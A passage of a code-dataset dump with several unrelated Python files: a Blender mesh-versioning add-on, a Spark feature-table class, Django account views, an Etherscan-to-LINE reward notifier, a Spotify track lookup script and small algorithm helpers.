Boston, MA 02110-1301, USA.\n#\n# ##### END GPL LICENSE BLOCK #####\n\nimport bpy\nimport time\nfrom datetime import datetime\nfrom bpy.types import Menu, Panel\nfrom bpy.props import StringProperty, BoolProperty\n\n\nbl_info = {\n \"name\": \"KTX Mesh Versions\",\n \"description\": \"Keep multiple mesh versions of an object\",\n \"author\": \"Roel Koster, @koelooptiemanna, irc:kostex\",\n \"version\": (1, 5, 3),\n \"blender\": (2, 80, 0),\n \"location\": \"View3D > Properties\",\n \"warning\": \"\",\n \"doc_url\": \"https://github.com/kostex/blenderscripts/\",\n \"tracker_url\": \"https://developer.blender.org/maniphest/task/edit/form/2/\",\n \"category\": \"Object\"}\n\n\nclass KTXMESHVERSIONS_OT_Init(bpy.types.Operator):\n bl_label = \"Initialise Mesh Versioning\"\n bl_idname = \"ktxmeshversions.init\"\n bl_description = \"Initialise the current object to support versioning\"\n\n def execute(self, context):\n unique_id = str(time.time())\n context.object.data.ktx_mesh_id = context.object.ktx_object_id = unique_id\n return {'FINISHED'}\n\n\nclass KTXMESHVERSIONS_OT_Select(bpy.types.Operator):\n bl_label = \"Select Mesh\"\n bl_idname = \"ktxmeshversions.select\"\n bl_description = \"Link the selected mesh to the current object\"\n\n m_index : StringProperty()\n\n def execute(self, context):\n c_mode = bpy.context.object.mode\n if c_mode != 'OBJECT':\n bpy.ops.object.mode_set(mode='OBJECT')\n obj = context.object\n obj.data = bpy.data.meshes[self.m_index]\n bpy.ops.object.mode_set(mode=c_mode)\n return {'FINISHED'}\n\n\nclass KTXMESHVERSIONS_OT_Remove(bpy.types.Operator):\n bl_label = \"Remove Mesh\"\n bl_idname = \"ktxmeshversions.remove\"\n bl_description = \"Remove/Delete the selected mesh\"\n\n m_index : StringProperty()\n\n def execute(self, context):\n bpy.data.meshes.remove(bpy.data.meshes[self.m_index])\n return {'FINISHED'}\n\n\nclass KTXMESHVERSIONS_OT_Cleanup(bpy.types.Operator):\n bl_label = \"Cleanup Mode\"\n bl_idname = \"ktxmeshversions.cleanup\"\n bl_description = \"Cleanup Mode\"\n\n def execute(self, context):\n for o in bpy.data.objects:\n o.select = False\n context.scene.objects.active = None\n return {'FINISHED'}\n\n\nclass KTXMESHVERSIONS_OT_Create(bpy.types.Operator):\n bl_label = \"Create Mesh Version\"\n bl_idname = \"ktxmeshversions.create\"\n bl_description = (\"Create a copy of the mesh data of the current object\\n\"\n \"and set it as active\")\n\n def execute(self, context):\n defpin = bpy.context.scene.ktx_defpin\n obj = context.object\n if obj.type == 'MESH':\n c_mode = bpy.context.object.mode\n me = obj.data\n if c_mode != 'OBJECT':\n bpy.ops.object.mode_set(mode='OBJECT')\n new_mesh = me.copy()\n obj.data = new_mesh\n obj.data.use_fake_user = defpin\n bpy.ops.object.mode_set(mode=c_mode)\n return {'FINISHED'}\n\n\nclass KTXMESHVERSIONS_PT_mainPanel(bpy.types.Panel):\n bl_label = \"KTX Mesh Versions\"\n bl_idname = \"KTXMESHVERSIONS_PT_mainPanel\"\n bl_space_type = 'VIEW_3D'\n bl_region_type = 'UI'\n bl_category = 'Edit'\n bl_options = {'DEFAULT_CLOSED'}\n\n def draw(self, context):\n scene = context.scene\n obj = context.object\n layout = self.layout\n\n meshes_exist = bool(bpy.data.meshes.items() != [])\n if meshes_exist:\n if obj != None:\n if obj.type == 'MESH':\n if obj.ktx_object_id != '' and (obj.data.ktx_mesh_id == obj.ktx_object_id):\n icon = 'PINNED' if scene.ktx_defpin else 'UNPINNED'\n row = layout.row(align=True)\n row.prop(scene, \"ktx_defpin\", text=\"\", icon=icon)\n row.operator(\"ktxmeshversions.create\")\n box = layout.box()\n box.scale_y = 1.0\n box.label(text=\"Currently active mesh: \" + obj.data.name)\n for m in bpy.data.meshes:\n if m.ktx_mesh_id == obj.ktx_object_id:\n mesh_name = m.name\n row = box.row(align=True)\n row.operator(\"ktxmeshversions.select\", text=\"\", icon='RIGHTARROW').m_index = mesh_name\n row.prop(m, \"name\", text=\"\", icon='MESH_DATA')\n if m.users == 0:\n row.operator(\"ktxmeshversions.remove\", text=\"\", icon=\"X\").m_index = mesh_name\n icon = 'PINNED' if m.use_fake_user else 'UNPINNED'\n row.prop(m, \"use_fake_user\", text=\"\", icon=icon)\n box.label(text=\"\")\n row = layout.row(align=True)\n row.operator(\"ktxmeshversions.cleanup\", text=\"Cleanup Mode\")\n else:\n layout.operator(\"ktxmeshversions.init\")\n else:\n layout.label(text=\"Select a Mesh Object\")\n layout.operator(\"ktxmeshversions.cleanup\", text=\"Cleanup Mode\")\n\n else:\n layout.label(text=\"All Meshes (Cleanup/Pin):\")\n box = layout.box()\n box.scale_y = 1.0\n for m in bpy.data.meshes:\n mesh_name = m.name\n row = box.row(align=True)\n row.prop(m, \"name\", text=\"\", icon='MESH_DATA')\n if m.users == 0:\n row.operator(\"ktxmeshversions.remove\", text=\"\", icon=\"X\").m_index = mesh_name\n icon = 'PINNED' if m.use_fake_user else 'UNPINNED'\n row.prop(m, \"use_fake_user\", text=\"\", icon=icon)\n box.label(text=\"\")\n else:\n layout.label(text=\"No Meshes Exist\")\n\n\nclasses = (\n KTXMESHVERSIONS_PT_mainPanel,\n KTXMESHVERSIONS_OT_Init,\n KTXMESHVERSIONS_OT_Create,\n KTXMESHVERSIONS_OT_Remove,\n KTXMESHVERSIONS_OT_Select,\n KTXMESHVERSIONS_OT_Cleanup\n)\n\n\ndef register():\n from bpy.utils import register_class\n\n bpy.types.Object.ktx_object_id = bpy.props.StringProperty(name=\"KTX Object ID\", description=\"Unique ID to 'link' one object to multiple meshes\")\n bpy.types.Mesh.ktx_mesh_id = bpy.props.StringProperty(name=\"KTX Mesh ID\", description=\"Unique ID to 'link' multiple meshes to one object\")\n bpy.types.Scene.ktx_defpin = bpy.props.BoolProperty(name=\"Auto Pinning\", description=\"When creating a new version, set pinning to ON automatically (FAKE_USER=TRUE)\", default=False)\n\n for cls in classes:\n register_class(cls)\n\n\ndef unregister():\n from bpy.utils import unregister_class\n\n del bpy.types.Mesh.ktx_mesh_id\n del bpy.types.Object.ktx_object_id\n del bpy.types.Scene.ktx_defpin\n\n for cls in classes:\n unregister_class(cls)\n\n\nif __name__ == \"__main__\":\n register()\n","repo_name":"Bforartists/Bforartists","sub_path":"scripts/addons_contrib/object_mesh_versions.py","file_name":"object_mesh_versions.py","file_ext":"py","file_size_in_byte":7745,"program_lang":"python","lang":"en","doc_type":"code","stars":492,"dataset":"github-code","pt":"22"} +{"seq_id":"1869978203","text":"# -*- coding: utf-8 -*-\nfrom __future__ import absolute_import, division, print_function\n\nimport logging\nimport numpy as np\nimport pandas as pd\nimport time\nfrom pyspark.sql import DataFrame\nfrom pyspark.sql.window import Window\nfrom pyspark.sql.functions import row_number,col\n\nimport featuretoolsOnSpark.column_types as ctypes\n\nimport re\n\nfrom featuretoolsOnSpark.util import *\n\nclass Table(object):\n \"\"\"Represents a table in a tableset, and stores relevant metadata and data\n\n Attributes:\n id\n tableset\n verbose\n df\n index\n num_df\n\n \"\"\"\n def __init__(self, id, df,tableset,num_df=None, column_types=None,\n index=None, make_index=False,verbose=True):\n \"\"\" Create Table\n\n Args:\n id (str): Id of Table.\n\n df (pyspark.sql.DataFrame): Dataframe providing the data for the Table.\n\n num_df (int, optional): How many rows of pyspark.sql.DataFrame which are converted to pd.DataFrame to ensure type of columns.\n\n tableset (TableSet): Tableset for this Table.\n\n column_types (dict[str -> dict[str -> type]]) : A table's column_types dict maps string column ids to types (:class:`.Column`)\n or (type, kwargs) to pass keyword arguments to the Column.\n\n index (str): Name of id column in the dataframe.\n\n make_index (bool, optional) : If True, assume index does not exist as a column in\n dataframe, and create a new column of that name using integers the (0, len(dataframe)).\n Otherwise, assume index exists in dataframe.\n\n verbose (bool) : Whether to display information\n \"\"\"\n cnt = df.count()\n if num_df is not None:\n assert num_df>0,\"num_df must be greater than 0\"\n assert num_df<=cnt,\"num_df must be less than row num of df\"\n else:\n assert cnt>10,\"the numbers of dataframe must be greater than 10\"\n num_df = 10\n\n self._validate_table_params(id, df)\n\n self.id = id\n self.tableset = tableset\n self.pdf = df.limit(num_df).toPandas()\n self.verbose = verbose\n self.df = df\n self.num_df = num_df\n self.cnt = cnt\n self.old_len = len(df.columns)\n\n self._create_index(index, make_index)\n\n self._create_columns(column_types)\n\n self.interesting_columns=[]\n\n if self.verbose:\n logger.info(\"create table \"+self.id)\n \n def _create_columns(self, column_types):\n \"\"\"Extracts the columns from a dataframe\n\n Args:\n column_types (dict[str -> dict[str -> type]]) : A table's\n column_types dict maps string column ids to types (:class:`.Column`)\n or (type, kwargs) to pass keyword arguments to the Column.\n \"\"\"\n columns = []\n column_types = column_types or {}\n if self.index not in column_types:\n column_types[self.index] = ctypes.Index\n\n link_cols = self.get_linked_cols()\n \n inferred_column_types = self.infer_column_types(link_cols,column_types)\n\n inferred_column_types.update(column_types)\n\n for c in inferred_column_types:\n ctype = inferred_column_types[c]\n if isinstance(ctype, tuple):\n _c = ctype[0](c, self, ctype[1])\n else:\n _c = inferred_column_types[c](c, self)\n columns += [_c]\n # make sure index is at the beginning\n index_column = [c for c in columns if c.id == self.index][0]\n self.columns = [index_column] + [c for c in columns if c.id != self.index]\n\n def get_linked_cols(self):\n \"\"\"Return a list with the table linked columns.\n \"\"\"\n link_relationships = [r for r in self.tableset.relationships\n if r.parent_table.id == self.id or\n r.child_table.id == self.id]\n link_cols = [v.id for rel in link_relationships\n for v in [rel.parent_column, rel.child_column]\n if v.table.id == self.id]\n return link_cols\n\n def infer_column_types(self, link_cols, column_types):\n '''Infer column types from dataframe\n\n Args:\n link_cols (list[str]): Linked columns\n column_types (dict[str -> dict[str -> type]]) : A table's column_types dict maps string column ids \n to types (:class:`.Column`)\n or (type, kwargs) to pass keyword arguments to the column.\n ''' \n df = self.pdf\n\n inferred_types = {}\n for column in df.columns:\n column = column.encode(\"utf-8\")\n inferred_type = None\n if column in column_types:\n continue\n else:\n if len(df[column].dropna())==0:\n col = self.df.select(column).dropna().limit(self.num_df).toPandas()[column]\n else:\n col = df[column]\n col = col.dropna().reset_index(drop=True)\n\n if len(col)==0:\n continue\n elif col.dtype.name == \"object\":\n if column in link_cols:\n inferred_type = ctypes.Categorical\n else:\n is_datetime,formatt = self.col_is_datetime(col)\n if is_datetime:\n inferred_type = (ctypes.Datetime,formatt)\n else:\n inferred_type = ctypes.Categorical\n\n elif col.dtype.name == \"bool\":\n inferred_type = ctypes.Boolean\n elif column in link_cols:\n inferred_type = ctypes.Ordinal\n else:\n is_datetime,formatt = self.col_is_datetime(col)\n if is_datetime:\n inferred_type = (ctypes.Datetime,formatt)\n else:\n inferred_type = ctypes.Numeric\n\n if inferred_type != None:\n inferred_types[column] = inferred_type\n\n return inferred_types\n\n def col_is_datetime(self,col):\n if col.dtype.name.find('datetime') > -1:\n return True,col.dtype.name\n def is_time_format(data):\n if data[:4] < '1970' or data[:4] > '2020':\n return False\n if data[4:6] > '12' or data[4:6] < '01':\n return False\n if data[6:8] > '31' or data[6:8] < '01':\n return False\n return True\n if col.dtype.name.find('int32') > -1 or col.dtype.name.find('int64') > -1 or col.dtype.name.find('int16') > -1:\n col = col.astype(str)\n # re match two patterns:1.2013[-/]04[-/]29 2.2013[-/]04[-/]29 03:04:30\n if col.dtype.name.find('str') > -1 or col.dtype.name.find('object') > -1:\n \n pattern1 = r\"\\d{4}[-/]?\\d{2}[-/]?\\d{2}\"\n pattern2 = r\"\\d{4}[-/]?d{2}[-/]?d{2}\\s\\d{2}:\\d{2}:\\d{2}\"\n if re.match(pattern1,col[0]):\n if is_time_format(col[0]):\n return True,'year[-/]month[-/]day'\n if re.match(pattern2,col[0]):\n return True,'year[-/]month[-/]day hour:min:sec'\n return False,None\n\n def __getitem__(self, column_id):\n return self._get_column(column_id)\n\n def _get_column(self, column_id):\n \"\"\"Get column instance\n\n Args:\n column_id (str) : Id of column to get.\n\n Returns:\n :class:`.Column` : Instance of column.\n\n Raises:\n RuntimeError : if no column exist with provided id\n \"\"\"\n for v in self.columns:\n if v.id == column_id:\n return v\n\n raise KeyError(\"Column: %s not found in table\" % (column_id))\n\n def _get_column_ids(self):\n \"\"\"Get column ids\n\n Args:\n column_id (str) : Id of column to get.\n\n Returns:\n :[str]: ids of column.\n \"\"\"\n return [column.id for column in self.columns]\n\n def _get_column_index(self, column_id):\n \"\"\"Get column index in self.columns\n\n Args:\n column_id (str) : Id of column to get.\n\n Returns:\n :int:index of column.\n\n Raises:\n RuntimeError : if no column exist with provided id\n \"\"\"\n for i,v in enumerate(self.columns):\n if v.id == column_id:\n return i\n\n raise KeyError(\"Column: %s not found in table\" % (column_id))\n\n\n def convert_column_type(self, column_id, new_type,\n **kwargs):\n \"\"\"Convert column in dataframe to different type\n\n Args:\n column_id (str) : Id of column to convert.\n new_type (subclass of `Column`) : Type of column to convert to.\n \"\"\"\n # replace the old column with the new one, maintaining order\n column = self._get_column(column_id)\n new_column = new_type.create_from(column)\n self.columns[self._get_column_index(column_id)] = new_column\n\n def convert_column_id(self,column_id,new_id):\n \n self.df = self.df.withColumnRenamed(column_id,new_id)\n\n index = self._get_column_index(column_id)\n\n column = self._get_column(column_id)\n column.id = new_id\n self.columns[index] = column\n\n def __repr__(self):\n repr_out = u\"Table: {}\\n\".format(self.id)\n repr_out += u\" Columns:\"\n for v in self.columns:\n repr_out += u\"\\n {} (dtype: {})\".format(v.id, v.type_string)\n\n shape = self.shape\n repr_out += u\"\\n Shape:\\n (Rows: {}, Columns: {})\".format(\n shape[0], shape[1])\n\n # encode for python 2\n if type(repr_out) != str:\n repr_out = repr_out.encode(\"utf-8\")\n\n return repr_out\n\n @property\n def shape(self):\n '''Shape of the entity's dataframe'''\n return (self.cnt,len(self.columns))\n\n def _validate_table_params(self,id,df):\n '''Validation checks for Table inputs'''\n assert isinstance(id,str), \"Table id must be a string\"\n assert len(df.columns) == len(set(df.columns)), \"Duplicate column names\"\n for c in df.columns:\n if not isinstance(c,str):\n raise ValueError(\"All column names must be strings (Column {} \"\n \"is not a string)\".format(c))\n\n def _create_index(self,index, make_index):\n '''Handles index creation logic base on user input'''\n\n\n if index is None:\n # Case 1: user wanted to make index but did not specify column name\n assert not make_index, \"Must specify an index name if make_index is True\"\n # Case 2: make_index not specified but no index supplied, use first column\n logger.warning((\"Using first column as index. \",\n \"To change this, specify the index parameter\"))\n index = self.df.columns[0]\n elif make_index and index in self.df.columns:\n # Case 3: user wanted to make index but column already exists\n raise RuntimeError(\"Cannot make index: index column already present\")\n elif index not in self.df.columns:\n if not make_index:\n # Case 4: user names index, it is not in df. does not specify\n # make_index. Make new index column and warn\n logger.warning(\"index %s not found in dataframe, creating new \"\n \"integer column\", index)\n # Case 5: make_index with no errors or warnings\n # (Case 4 also uses this code path)\n\n rank_window = Window().orderBy(col(self.df.columns[0]))\n new_add_col = row_number().over(rank_window)\n\n self.df = self.df.withColumn(index,new_add_col-1)\n\n # Case 6: user specified index, which is already in df. No action needed.\n self.index=index\n","repo_name":"giantcroc/featuretoolsOnSpark","sub_path":"featuretoolsOnSpark/table.py","file_name":"table.py","file_ext":"py","file_size_in_byte":11991,"program_lang":"python","lang":"en","doc_type":"code","stars":30,"dataset":"github-code","pt":"22"} +{"seq_id":"32793930195","text":"from django.contrib.auth import authenticate, login\r\nfrom django.shortcuts import render, redirect\r\nfrom django.http import HttpResponse, HttpResponseRedirect\r\nfrom accounts.forms import *\r\nfrom .models import Profile\r\nfrom django.shortcuts import get_object_or_404\r\nfrom django.contrib.auth.decorators import login_required\r\nfrom django.contrib.auth import get_user_model\r\n\r\ndef signup(request):\r\n \"\"\"\r\n 계정생성\r\n \"\"\"\r\n if request.method == \"POST\":\r\n form = UserForm(request.POST)\r\n if form.is_valid():\r\n form.save()\r\n username = form.cleaned_data.get('username')\r\n raw_password = form.cleaned_data.get('password1')\r\n user = authenticate(username=username, password=raw_password)\r\n profile = Profile()\r\n profile.user = user\r\n profile.save()\r\n login(request, user)\r\n return redirect('boards:index')\r\n else:\r\n form = UserForm()\r\n return render(request, 'pages/reg/register.html', {'form': form})\r\n\r\n\r\ndef people(request, username): # urls.py에서 넘겨준 인자를 username으로 받는다.\r\n person = get_object_or_404(get_user_model(), username=username)\r\n \r\n return render(request, 'pages/person/profile.html', {'person': person})\r\n\r\n\r\n@login_required(login_url='accounts:login')\r\ndef profile_modify(request):\r\n if request.method == 'POST':\r\n user_change_form = CustomUserChangeForm(request.POST, instance=request.user)\r\n profile_form = ProfileForm(request.POST, request.FILES, instance=request.user.profile)\r\n if user_change_form.is_valid() and profile_form.is_valid():\r\n user = user_change_form.save()\r\n profile_form.save()\r\n return redirect('accounts:people', user.username)\r\n # return redirect('accounts:profile', user.username)\r\n else:\r\n user_change_form = CustomUserChangeForm(instance=request.user)\r\n # 새롭게 추가하는 것이 아니라 수정하는 것이기 때문에\r\n # 기존의 정보를 가져오기 위해 instance를 지정해야 한다.\r\n profile, create = Profile.objects.get_or_create(user=request.user)\r\n # Profile 모델은 User 모델과 1:1 매칭이 되어있지만\r\n # User 모델에 새로운 인스턴스가 생성된다고 해서 그에 매칭되는 Profile 인스턴스가 생성되는 것은 아니기 때문에\r\n # 매칭되는 Profile 인스턴스가 있다면 그것을 가져오고, 아니면 새로 생성하도록 한다.\r\n profile_form = ProfileForm(instance=profile)\r\n # 아직 profile_modify.html 이 완성되지 않음\r\n return render(request, 'accounts/profile_modify.html', {\r\n 'user_change_form': user_change_form,\r\n 'profile_form': profile_form\r\n })\r\n\r\ndef page_not_found(request, exception):\r\n \"\"\"\r\n 404 Page not found\r\n \"\"\"\r\n return render(request, 'pages/404.html')\r\n \r\n\r\n@login_required(login_url='accounts:login')\r\ndef follow(request, username):\r\n # 로그인한 유저 : user\r\n # 팔로우 대상 유저 : follow_user\r\n # user = get_object_or_404(get_user_model(), username=request.user.username)\r\n user = request.user\r\n print(user.username)\r\n follow_user = get_object_or_404(get_user_model(), username=username)\r\n print(follow_user.followers.count())\r\n print(follow_user.username)\r\n if user in follow_user.followers.all():\r\n user.profile.followings.remove(follow_user)\r\n print(\"del..\")\r\n # follow_user.followings.remove(user)\r\n else:\r\n user.profile.followings.add(follow_user)\r\n # follow_user.followings.add(user)\r\n return redirect('accounts:people', username)","repo_name":"hyun98/Django-Study","sub_path":"accounts/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3724,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"39610417103","text":"#/usr/bin/python3\n\nimport argparse\nimport requests\nimport random\n\noptions = argparse.ArgumentParser()\noptions.add_argument('--etherscan-token', required=True)\noptions.add_argument('--line-token', required=True)\noptions.add_argument('--balance-notify', default='elected', choices=['no', 'elected', 'all'])\noptions.add_argument('--notify-pattern', default='winlose', choices=['win', 'winlose'])\noptions.add_argument('--nodes', type=argparse.FileType('r'), required=True)\noptions.add_argument('--without-line-stamp', action='store_true')\n\ntnt_balances = []\nCONTACT_ADDRESS = '0x08f5a9235b08173b7569f83645d2c7fb55e8ccd8'\nTNTREWORD_ADDRESS = '0xddfff2b78463ab1ca781e853bb888fdfd06083d3'\n\nPREFIX = 'https://api.etherscan.io/api?'\nMODULE = 'module='\nACTION = '&action='\nCONTRACT_ADDRESS = '&contractaddress='\nADDRESS = '&address='\nSORT = '&sort='\nSTART_BLOCK = '&startblock='\nEND_BLOCK = '&endblock='\nBLOCKNO = '&blockno='\nTAG = '&tag='\nAPI_KEY = '&apikey='\n\ndef get_nodelist(file):\n \n \"\"\"Get node addresses from txt file\"\"\"\n\n nodelist = [l.rstrip() for l in file.readlines()]\n\n nodenames = []\n nodeaddresses = []\n\n for i in nodelist:\n nodenames.append(i.split('=')[0])\n nodeaddresses.append(i.split('=')[1][0:42])\n\n return nodenames, nodeaddresses\n\ndef get_tnt_balance(etherscan_api, target_address, contact_address):\n\n \"\"\"Get TNT balance from target address\"\"\"\n\n global tnt_balances\n\n api_url = PREFIX\\\n +MODULE+'account'\\\n +ACTION+'tokenbalance'\\\n +CONTRACT_ADDRESS+contact_address\\\n +ADDRESS+target_address\\\n +TAG+'latest'\\\n +API_KEY+etherscan_api\n\n r = requests.get(api_url)\n json = r.json()\n\n tnt_balances.append(int(json['result'])/100000000)\n\ndef get_elected_address(etherscan_api, tntreword_address):\n\n \"\"\"Get an address which is a destination of last transaction of\n an address for sending TNT rewards\"\"\"\n\n api_url_tnt = PREFIX\\\n +MODULE+'account'\\\n +ACTION+'txlist'\\\n +ADDRESS+tntreword_address\\\n +START_BLOCK+'0'\\\n +END_BLOCK+'99999999'\\\n +SORT+'asc'\\\n +API_KEY+etherscan_api\n\n def check_from(result):\n\n \"\"\"Determine whether obtained transaction indicates paying from\n an address for sending TNT rewards\"\"\"\n\n if(result['from'] == tntreword_address):\n return 1\n else:\n return 0\n\n r_tnt = requests.get(api_url_tnt)\n json_tnt = r_tnt.json()\n last_tx_input = list(filter(check_from, json_tnt[\"result\"]))[-1]['input']\n elected_address = last_tx_input[:2] + last_tx_input[34:74]\n\n return elected_address\n\n\ndef line_notify(etherscan_api, elected_address, nodeaddresses, nodenames, line_token, \\\n without_line_stamp=False, balance_notify='elected', notify_pattern='winlose'):\n\n \"\"\"Notify win or lose using LINE Notify\"\"\"\n\n url = \"https://notify-api.line.me/api/notify\"\n headers = {\"Authorization\" : \"Bearer \"+ line_token}\n \n nodeaddresses_lower = [i.lower() for i in nodeaddresses]\n\n if elected_address.lower() in nodeaddresses_lower:\n\n elected_nodename = nodenames[nodeaddresses_lower.index(elected_address.lower())]\n\n if balance_notify == 'no':\n message = elected_nodename + ' Winner!'\n\n elif balance_notify == 'elected':\n get_tnt_balance(etherscan_api, elected_address, CONTACT_ADDRESS)\n balance = tnt_balances[0]\n message = elected_nodename + ' Winner! Now ' + elected_nodename \\\n + ' has ' + str(balance) + ' TNT!'\n \n else:\n balance = ['\\n']\n for target_address in nodeaddresses:\n get_tnt_balance(etherscan_api, target_address, CONTACT_ADDRESS)\n\n for i in range(len(nodeaddresses)):\n balance.append(nodenames[i] + ' ' + str(tnt_balances[i]) + ' TNT' + '\\n')\n\n message = elected_nodename + ' Winner!' + ''.join(balance) \\\n + 'total: ' + str(sum(tnt_balances)) + ' TNT'\n\n if without_line_stamp:\n\n payload = {\"message\":message}\n\n else:\n stamp_num = [[1,2],[1,4],[1,5],[1,10],[1,13],[1,14],[1,106],[1,107],\\\n [1,114],[1,116],[1,125],[1,134],[1,137],[1,138],[1,139],\\\n [1,407],[2,22],[2,34],[2,144],[2,156],[2,167],[2,171],\\\n [2,172],[2,176],[2,179],[2,501],[2,513],[2,514],[2,516],\\\n [2,525]]\n\n stamp_num_win = random.choice(stamp_num)\n\n payload = {\"message\":message, 'stickerPackageId':stamp_num_win[0], 'stickerId':stamp_num_win[1]}\n\n r = requests.post(url ,headers=headers ,params=payload)\n\n else:\n message_lose = 'This time you lose...'\n\n if without_line_stamp and notify_pattern == 'winlose':\n\n payload = {\"message\":message_lose}\n\n r = requests.post(url ,headers=headers ,params=payload)\n\n elif not without_line_stamp and notify_pattern == 'winlose':\n\n stamp_num = [[1,3],[1,7],[1,8],[1,9],[1,16],[1,17],[1,21],[1,102],\\\n [1,104],[1,105],[1,108],[1,111],[1,112],[1,113],[1,118],\\\n [1,121],[1,123],[1,127],[1,129],[1,131],[1,133],[1,135],\\\n [1,401],[1,403],[1,416],[1,417],[1,418],[1,419],[1,420],\\\n [1,421],[1,422],[1,423],[1,424],[2,18],[2,23],[2,24],\\\n [2,25],[2,32],[2,145],[2,152],[2,154],[2,168],[2,173],\\\n [2,174],[2,517],[2,519],[2,520],[2,523],[2,525]]\n\n stamp_num_lose = random.choice(stamp_num)\n\n payload = {\"message\":message_lose, 'stickerPackageId':stamp_num_lose[0], 'stickerId':stamp_num_lose[1]}\n\n r = requests.post(url ,headers=headers ,params=payload)\n\n\ndef main(opt):\n with opt.nodes as f:\n nodenames, nodeaddresses = get_nodelist(f)\n elected_address = get_elected_address(opt.etherscan_token, TNTREWORD_ADDRESS)\n line_notify(opt.etherscan_token, elected_address, nodeaddresses, nodenames, \\\n opt.line_token, without_line_stamp=opt.without_line_stamp, \\\n balance_notify=opt.balance_notify, notify_pattern=opt.notify_pattern)\n exit(0)\n\n\nif __name__ == '__main__':\n main(options.parse_args())\n\n","repo_name":"monarizasan/tntreward_notification","sub_path":"TNTreward_notification.py","file_name":"TNTreward_notification.py","file_ext":"py","file_size_in_byte":6388,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"} +{"seq_id":"69995962937","text":"def solve(target, arr):\n arr.sort()\n frontptr, backptr = 0, len(arr)-1\n count = 0\n while(True):\n if frontptr >= backptr:\n break\n sum_ = arr[frontptr] + arr[backptr]\n if sum_ > target:\n backptr -= 1\n elif sum_ < target:\n frontptr += 1\n else:\n frontptr += 1\n backptr -= 1\n count += 1\n return count\n \n##\n# import time\n# import random\n# start = time.time()\n# cmd1 = 775\n# cmd2 = random.sample(range(0,10000000),10000000)\n##\n\ncmd1 = int(input())\ncmd2 = [int(x) for x in input().split()]\nprint(solve(cmd1,cmd2))\n##\n# print(\"time :\", time.time() - start)\n##","repo_name":"bugpigg/algorithm_python","sub_path":"fromSchool/배열+해시테이블/Main_sort.py","file_name":"Main_sort.py","file_ext":"py","file_size_in_byte":673,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"29942005733","text":"import re\n\nop_dict = {}\nignore_token_set = set()\n\n# change for loop condition section into text and also modifying operators in initialization and incremental sections\ndef alter_for_loop(for_statement):\n for_fields = for_statement.groupdict()['condition'].split(';')\n for_fields[0] = for_fields[0].replace('=',' set to ')\n\n for op in op_dict:\n for_fields[1] = for_fields[2].replace(op,op_dict[op])\n for_fields[1] = ' until ' +for_fields[1]\n\n for op in op_dict:\n for_fields[2] = for_fields[2].replace(op,op_dict[op])\n\n return ' '.join(for_fields)\n\n# split method body into lines and make replacements/omissions in each line\ndef split_statements(method_body):\n # print(op_dict)\n # print(ignore_token_set)\n #print('method_body:',method_body)\n method_body = re.sub(r'(for)(\\()(?P([A-Za-z0-9,<>=\\s_;.\\(\\)+\\-\\*\\/]+))([\\)])\\s(\\{)',alter_for_loop, method_body)\n for op in op_dict:\n method_body = method_body.replace(op,op_dict[op])\n for token in ignore_token_set:\n method_body = method_body.replace(token,' ')\n method_body = method_body.replace('_', ' ')\n return method_body","repo_name":"Kamonphop/Autogenerate_CC","sub_path":"Code Summerizer/JavaTokenizer/tokenize_method_body.py","file_name":"tokenize_method_body.py","file_ext":"py","file_size_in_byte":1147,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"12437651095","text":"import pip._vendor.requests as requests\n\nCLIENT_ID = \"\"\nCLIENT_SECRET = \"\"\n\nAUTH_URL = 'https://accounts.spotify.com/api/token'\n\n# POST\nauth_response = requests.post(AUTH_URL, {\n 'grant_type': 'client_credentials',\n 'client_id': CLIENT_ID,\n 'client_secret': CLIENT_SECRET,\n})\n\n# convert the response to JSON\nauth_response_data = auth_response.json()\n\n# save the access token\naccess_token = auth_response_data['access_token']\n\n#print(access_token)\n\nheaders = {\n 'Authorization': 'Bearer {token}'.format(token=access_token)\n }\n\nBASE_URL = 'https://api.spotify.com/v1/'\n\n\n\ndef getSpotifyURL(name):\n\n name_list = name.split(\"%\")\n name_list[0] = name_list[0][0:name_list[0].find(\"(\")] if name_list[0].find(\"(\") != -1 else name_list[0]\n name_list[0] = name_list[0][0:name_list[0].find(\"-\")] if name_list[0].find(\"-\") != -1 else name_list[0]\n name_list[0] = name_list[0].strip()\n name_list[1] = name_list[1].strip()\n print(name_list)\n r = requests.get(BASE_URL + 'search?' + \"q={trackname}&type=track&limit=50&artist={artist}\".format(trackname=name_list[0], artist=name_list[1]), headers=headers)\n\n r = r.json()\n\n for track in r['tracks']['items']:\n try:\n track_name = track['name']\n track_artist = track['artists'][0]['name']\n \"\"\"\n print(\"=======================\")\n print(track_name, name_list[0])\n print(track_artist, name_list[1])\n print(\"=======================\")\n \"\"\"\n if (track_name.lower().find(name_list[0].lower()) != -1) and (track_artist.lower().find(name_list[1].lower()) != -1):\n return track['external_urls']['spotify']\n except:\n pass\n\n\ndef getSpotifyName(url):\n \n track_id = url[31:]\n print(track_id)\n r = requests.get(BASE_URL + 'tracks/' + track_id, headers=headers)\n\n r = r.json()\n\n print('%'.join([r['name'], r['artists'][0]['name']]))\n return '%'.join([r['name'], r['artists'][0]['name']])\n\n\n\n\n","repo_name":"RomenPoirierTaksev/urlSwap","sub_path":"urlSwapSP.py","file_name":"urlSwapSP.py","file_ext":"py","file_size_in_byte":2013,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"40007558024","text":"from enum import IntEnum\nfrom aenum import Enum, extend_enum\n\nclass Trade(IntEnum):\n SELL = 0\n BUY = 1\n\nclass Symbol(Enum):\n BTCUSDT = ('BTC', 'USDT')\n BCHUSDT = ('BCH', 'USDT')\n BTTUSDT = ('BTT', 'USDT')\n ADAUSDT = ('ADA', 'USDT')\n DOTUSDT = ('DOT', 'USDT')\n DOGEUSDT = ('DOGE', 'USDT')\n SHIBUSDT = ('SHIB', 'USDT')\n ICPUSDT = ('ICP', 'USDT')\n CVCUSDT = ('CVC', 'USDT')\n BNBUSDT = ('BNB', 'USDT')\n SOLUSDT = ('SOL', 'USDT')\n POLYUSDT = ('POLY', 'USDT')\n TRXUSDT = ('TRX', 'USDT')\n XTZUSDT = ('XTZ', 'USDT')\n SUSHIUSDT = ('SUSHI', 'USDT')\n CAKEUSDT = ('CAKE', 'USDT')\n 